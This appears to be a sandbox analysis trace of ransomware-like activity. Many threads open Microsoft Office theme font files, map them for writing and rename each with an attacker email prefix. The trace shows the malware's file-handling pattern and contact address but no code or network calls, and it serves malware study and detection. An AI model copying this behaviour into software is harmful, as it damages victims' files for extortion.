	[0107.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\cambria.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___cambria.xml")) returned 1
	[0107.675] free (_Block=0x51f0070) 
	[0107.675] RtlExitUserThread (Status=0x0) 

Thread:
	id = 983
	os_tid = 0x1fd4

	[0107.676] _alloca_probe () returned 0x40328a
	[0107.677] GetCurrentThreadId () returned 0x1fd4
	[0107.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml", dwFileAttributes=0x80) returned 1
	[0107.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x122c
	[0107.678] GetFileSizeEx (in: hFile=0x122c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3520) returned 1
	[0107.678] CreateFileMappingA (hFile=0x122c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc0, lpName=0x0) returned 0x125c
	[0107.678] MapViewOfFile (hFileMappingObject=0x125c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.679] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.679] CloseHandle (hObject=0x125c) returned 1
	[0107.679] GetCurrentThreadId () returned 0x1fd4
	[0107.679] FlushFileBuffers (hFile=0x122c) returned 1
	[0107.681] CloseHandle (hObject=0x122c) returned 1
	[0107.682] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Candara.xml") returned 110
	[0107.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Candara.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___candara.xml")) returned 1
	[0107.682] free (_Block=0x51fa0c0) 
	[0107.682] RtlExitUserThread (Status=0x0) 

Thread:
	id = 984
	os_tid = 0x1fd8

	[0107.684] _alloca_probe () returned 0x40328a
	[0107.684] GetCurrentThreadId () returned 0x1fd8
	[0107.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml", dwFileAttributes=0x80) returned 1
	[0107.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x125c
	[0107.685] GetFileSizeEx (in: hFile=0x125c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3640) returned 1
	[0107.685] CreateFileMappingA (hFile=0x125c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe3f, lpName=0x0) returned 0x11f0
	[0107.685] MapViewOfFile (hFileMappingObject=0x11f0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.687] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.687] CloseHandle (hObject=0x11f0) returned 1
	[0107.687] GetCurrentThreadId () returned 0x1fd8
	[0107.687] FlushFileBuffers (hFile=0x125c) returned 1
	[0107.689] CloseHandle (hObject=0x125c) returned 1
	[0107.689] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Century Gothic-Palatino Linotype.xml") returned 135
	[0107.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Century Gothic-Palatino Linotype.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___century gothic-palatino linotype.xml")) returned 1
	[0107.690] free (_Block=0x51f60a0) 
	[0107.690] RtlExitUserThread (Status=0x0) 

Thread:
	id = 985
	os_tid = 0x1fdc

	[0107.733] _alloca_probe () returned 0x40328a
	[0107.734] GetCurrentThreadId () returned 0x1fdc
	[0107.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml", dwFileAttributes=0x80) returned 1
	[0107.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x125c
	[0107.735] GetFileSizeEx (in: hFile=0x125c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3543) returned 1
	[0107.735] CreateFileMappingA (hFile=0x125c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xddd, lpName=0x0) returned 0x11f0
	[0107.735] MapViewOfFile (hFileMappingObject=0x11f0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.737] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.737] CloseHandle (hObject=0x11f0) returned 1
	[0107.737] GetCurrentThreadId () returned 0x1fdc
	[0107.737] FlushFileBuffers (hFile=0x125c) returned 1
	[0107.739] CloseHandle (hObject=0x125c) returned 1
	[0107.739] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Century Gothic.xml") returned 117
	[0107.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Century Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___century gothic.xml")) returned 1
	[0107.740] free (_Block=0x51f0070) 
	[0107.740] RtlExitUserThread (Status=0x0) 

Thread:
	id = 986
	os_tid = 0x1fe0

	[0107.742] _alloca_probe () returned 0x40328a
	[0107.742] GetCurrentThreadId () returned 0x1fe0
	[0107.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml", dwFileAttributes=0x80) returned 1
	[0107.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11f0
	[0107.743] GetFileSizeEx (in: hFile=0x11f0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3615) returned 1
	[0107.743] CreateFileMappingA (hFile=0x11f0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe2d, lpName=0x0) returned 0x1238
	[0107.743] MapViewOfFile (hFileMappingObject=0x1238, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.744] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.744] CloseHandle (hObject=0x1238) returned 1
	[0107.744] GetCurrentThreadId () returned 0x1fe0
	[0107.744] FlushFileBuffers (hFile=0x11f0) returned 1
	[0107.747] CloseHandle (hObject=0x11f0) returned 1
	[0107.747] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Century Schoolbook.xml") returned 121
	[0107.747] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Century Schoolbook.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___century schoolbook.xml")) returned 1
	[0107.759] free (_Block=0x51fb0c8) 
	[0107.759] RtlExitUserThread (Status=0x0) 

Thread:
	id = 987
	os_tid = 0x1fe4

	[0107.760] _alloca_probe () returned 0x40328a
	[0107.760] GetCurrentThreadId () returned 0x1fe4
	[0107.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml", dwFileAttributes=0x80) returned 1
	[0107.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1238
	[0107.761] GetFileSizeEx (in: hFile=0x1238, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3546) returned 1
	[0107.761] CreateFileMappingA (hFile=0x1238, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xde3, lpName=0x0) returned 0x1244
	[0107.761] MapViewOfFile (hFileMappingObject=0x1244, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.763] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.763] CloseHandle (hObject=0x1244) returned 1
	[0107.763] GetCurrentThreadId () returned 0x1fe4
	[0107.763] FlushFileBuffers (hFile=0x1238) returned 1
	[0107.766] CloseHandle (hObject=0x1238) returned 1
	[0107.767] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Consolas-Verdana.xml") returned 119
	[0107.767] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Consolas-Verdana.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___consolas-verdana.xml")) returned 1
	[0107.767] free (_Block=0x51f60a0) 
	[0107.767] RtlExitUserThread (Status=0x0) 

Thread:
	id = 988
	os_tid = 0x1fe8

	[0107.769] _alloca_probe () returned 0x40328a
	[0107.770] GetCurrentThreadId () returned 0x1fe8
	[0107.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml", dwFileAttributes=0x80) returned 1
	[0107.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1244
	[0107.771] GetFileSizeEx (in: hFile=0x1244, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3574) returned 1
	[0107.771] CreateFileMappingA (hFile=0x1244, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdfb, lpName=0x0) returned 0x11ec
	[0107.771] MapViewOfFile (hFileMappingObject=0x11ec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.773] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.773] CloseHandle (hObject=0x11ec) returned 1
	[0107.773] GetCurrentThreadId () returned 0x1fe8
	[0107.773] FlushFileBuffers (hFile=0x1244) returned 1
	[0107.775] CloseHandle (hObject=0x1244) returned 1
	[0107.775] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Constantia-Franklin Gothic Book.xml") returned 134
	[0107.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Constantia-Franklin Gothic Book.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___constantia-franklin gothic book.xml")) returned 1
	[0107.776] free (_Block=0x51f0070) 
	[0107.776] RtlExitUserThread (Status=0x0) 

Thread:
	id = 989
	os_tid = 0x1fec

	[0107.930] _alloca_probe () returned 0x40328a
	[0107.931] GetCurrentThreadId () returned 0x1fec
	[0107.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml", dwFileAttributes=0x80) returned 1
	[0107.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11ec
	[0107.932] GetFileSizeEx (in: hFile=0x11ec, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3517) returned 1
	[0107.932] CreateFileMappingA (hFile=0x11ec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc9, lpName=0x0) returned 0x1260
	[0107.932] MapViewOfFile (hFileMappingObject=0x1260, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.934] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.934] CloseHandle (hObject=0x1260) returned 1
	[0107.934] GetCurrentThreadId () returned 0x1fec
	[0107.934] FlushFileBuffers (hFile=0x11ec) returned 1
	[0107.936] CloseHandle (hObject=0x11ec) returned 1
	[0107.936] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Corbel.xml") returned 109
	[0107.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Corbel.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___corbel.xml")) returned 1
	[0107.937] free (_Block=0x51fd0d8) 
	[0107.937] RtlExitUserThread (Status=0x0) 

Thread:
	id = 990
	os_tid = 0x1ff0

	[0107.939] _alloca_probe () returned 0x40328a
	[0107.939] GetCurrentThreadId () returned 0x1ff0
	[0107.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml", dwFileAttributes=0x80) returned 1
	[0107.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1260
	[0107.940] GetFileSizeEx (in: hFile=0x1260, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3555) returned 1
	[0107.940] CreateFileMappingA (hFile=0x1260, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xde5, lpName=0x0) returned 0x124c
	[0107.940] MapViewOfFile (hFileMappingObject=0x124c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.974] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.975] CloseHandle (hObject=0x124c) returned 1
	[0107.975] GetCurrentThreadId () returned 0x1ff0
	[0107.975] FlushFileBuffers (hFile=0x1260) returned 1
	[0107.977] CloseHandle (hObject=0x1260) returned 1
	[0107.977] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Franklin Gothic.xml") returned 118
	[0107.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Franklin Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___franklin gothic.xml")) returned 1
	[0107.978] free (_Block=0x51f0070) 
	[0107.978] RtlExitUserThread (Status=0x0) 

Thread:
	id = 991
	os_tid = 0x1ff4

	[0107.981] _alloca_probe () returned 0x40328a
	[0107.982] GetCurrentThreadId () returned 0x1ff4
	[0107.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml", dwFileAttributes=0x80) returned 1
	[0107.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124c
	[0107.983] GetFileSizeEx (in: hFile=0x124c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3540) returned 1
	[0107.983] CreateFileMappingA (hFile=0x124c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdd7, lpName=0x0) returned 0x1264
	[0107.983] MapViewOfFile (hFileMappingObject=0x1264, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.984] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.984] CloseHandle (hObject=0x1264) returned 1
	[0107.984] GetCurrentThreadId () returned 0x1ff4
	[0107.985] FlushFileBuffers (hFile=0x124c) returned 1
	[0107.987] CloseHandle (hObject=0x124c) returned 1
	[0107.987] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Garamond-TrebuchetMs.xml") returned 123
	[0107.987] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Garamond-TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___garamond-trebuchetms.xml")) returned 1
	[0107.991] free (_Block=0x52010f8) 
	[0107.991] RtlExitUserThread (Status=0x0) 

Thread:
	id = 992
	os_tid = 0x1ff8

	[0107.989] _alloca_probe () returned 0x40328a
	[0107.989] GetCurrentThreadId () returned 0x1ff8
	[0107.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml", dwFileAttributes=0x80) returned 1
	[0107.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11dc
	[0107.990] GetFileSizeEx (in: hFile=0x11dc, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3517) returned 1
	[0107.991] CreateFileMappingA (hFile=0x11dc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc9, lpName=0x0) returned 0x124c
	[0107.992] MapViewOfFile (hFileMappingObject=0x124c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.993] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.993] CloseHandle (hObject=0x124c) returned 1
	[0107.993] GetCurrentThreadId () returned 0x1ff8
	[0107.993] FlushFileBuffers (hFile=0x11dc) returned 1
	[0107.997] CloseHandle (hObject=0x11dc) returned 1
	[0107.997] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Garamond.xml") returned 111
	[0107.997] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Garamond.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___garamond.xml")) returned 1
	[0107.998] free (_Block=0x51f0070) 
	[0107.998] RtlExitUserThread (Status=0x0) 

Thread:
	id = 993
	os_tid = 0x1ffc

	[0108.039] _alloca_probe () returned 0x40328a
	[0108.039] GetCurrentThreadId () returned 0x1ffc
	[0108.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml", dwFileAttributes=0x80) returned 1
	[0108.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124c
	[0108.040] GetFileSizeEx (in: hFile=0x124c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3522) returned 1
	[0108.040] CreateFileMappingA (hFile=0x124c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc3, lpName=0x0) returned 0x1254
	[0108.040] MapViewOfFile (hFileMappingObject=0x1254, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0108.042] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0108.042] CloseHandle (hObject=0x1254) returned 1
	[0108.042] GetCurrentThreadId () returned 0x1ffc
	[0108.042] FlushFileBuffers (hFile=0x124c) returned 1
	[0108.046] CloseHandle (hObject=0x124c) returned 1
	[0108.047] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Georgia.xml") returned 110
	[0108.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Georgia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___georgia.xml")) returned 1
	[0108.048] free (_Block=0x51fd0d8) 
	[0108.048] RtlExitUserThread (Status=0x0) 

Thread:
	id = 994
	os_tid = 0x1198

	[0108.049] _alloca_probe () returned 0x40328a
	[0108.049] GetCurrentThreadId () returned 0x1198
	[0108.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml", dwFileAttributes=0x80) returned 1
	[0108.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1254
	[0108.050] GetFileSizeEx (in: hFile=0x1254, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3745) returned 1
	[0108.050] CreateFileMappingA (hFile=0x1254, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xea1, lpName=0x0) returned 0x1234
	[0108.050] MapViewOfFile (hFileMappingObject=0x1234, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0108.052] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0108.052] CloseHandle (hObject=0x1234) returned 1
	[0108.052] GetCurrentThreadId () returned 0x1198
	[0108.052] FlushFileBuffers (hFile=0x1254) returned 1
	[0108.054] CloseHandle (hObject=0x1254) returned 1
	[0108.054] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Gill Sans MT.xml") returned 115
